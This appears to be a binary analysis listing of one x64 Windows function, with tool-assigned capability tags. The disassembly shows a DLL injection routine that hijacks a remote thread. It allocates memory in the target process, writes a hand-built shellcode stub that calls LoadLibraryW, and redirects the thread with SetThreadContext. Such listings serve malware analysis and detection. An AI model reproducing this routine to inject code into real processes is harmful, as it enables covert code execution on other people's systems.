Function at 0x140004000
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rdi
push r12
push r14
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rbp + 0x480], rax
mov rax, qword gs:[0x58]
mov rbx, rcx
mov ecx, dword [0x14001eb10]
mov rdi, rdx
mov edx, 4
mov r12, r8
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x14001eaf8], ecx
jg 0x1400042e3
mov rax, qword [0x14001eaf0]
xor r14d, r14d
mov qword [rsp + 0x598], rsi
mov qword [rsp + 0x590], r15
test rax, rax
je 0x140004095
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], r14d
mov rcx, rdi
call rax
test eax, eax
je 0x140004095
cmp dword [rsp + 0x30], 1
je 0x1400042b3
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rbx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x1400040a0
lea r15, [rax*2 + 2]
mov dword [rsp + 0x20], 4
mov r8, r15
mov r9d, 0x1000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x1400042b3
mov r9, r15
mov qword [rsp + 0x20], r14
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400042b3
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x65
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1400042b3
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x1400042b3
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x20], 0x100001
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400042b3
mov rax, qword [rbp + 0xa8]
lea r8, [rsp + 0x40]
mov qword [rbp - 0x63], rax
mov r9d, 0x65
lea rax, [rsp + 0x38]
mov dword [rsp + 0x40], 0x5251509c
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov dword [rsp + 0x44], 0x56555453
mov dword [rsp + 0x48], 0x41504157
mov dword [rsp + 0x4c], 0x41524151
mov dword [rsp + 0x50], 0x41544153
mov dword [rsp + 0x54], 0x41564155
mov dword [rsp + 0x58], 0xec834857
mov dword [rsp + 0x5c], 0xd8b4820
mov dword [rsp + 0x60], 0x29
mov qword [rbp - 0x73], rsi
mov word [rsp + 0x64], 0x15ff
mov dword [rsp + 0x66], 0x2b
mov qword [rbp - 0x6b], r14
mov dword [rsp + 0x6a], 0x20c48348
mov dword [rsp + 0x6e], 0x5e415f41
mov dword [rsp + 0x72], 0x5c415d41
mov dword [rsp + 0x76], 0x5a415b41
mov dword [rsp + 0x7a], 0x58415941
mov dword [rsp + 0x7e], 0x5c5d5e5f
mov dword [rbp - 0x7e], 0x58595a5b
mov word [rbp - 0x7a], 0xff9d
mov byte [rbp - 0x78], 0x25
mov dword [rbp - 0x77], 0x10
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400042b3
lea rax, [rsp + 0x34]
mov r9d, 2
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0x34]
mov r9d, 0x20
mov r8d, 0x65
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rsp + 0x38]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rdx, [rbp - 0x50]
mov qword [rbp + 0xa8], rbx
mov rcx, r12
mov dword [rbp - 0x20], 0x100001
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov al, 1
jmp 0x1400042b5
xor al, al
mov r15, qword [rsp + 0x590]
mov rsi, qword [rsp + 0x598]
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.140004ac0
add rsp, 0x5a0
pop r14
pop r12
pop rdi
pop rbx
pop rbp
ret
lea rcx, [0x14001eaf8]
call fcn.1400049b8
cmp dword [0x14001eaf8], 0xffffffff
jne 0x140004058
lea rcx, [0x140014390]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14001eaf8]
mov qword [0x14001eaf0], rax
call fcn.14000494c
jmp 0x140004058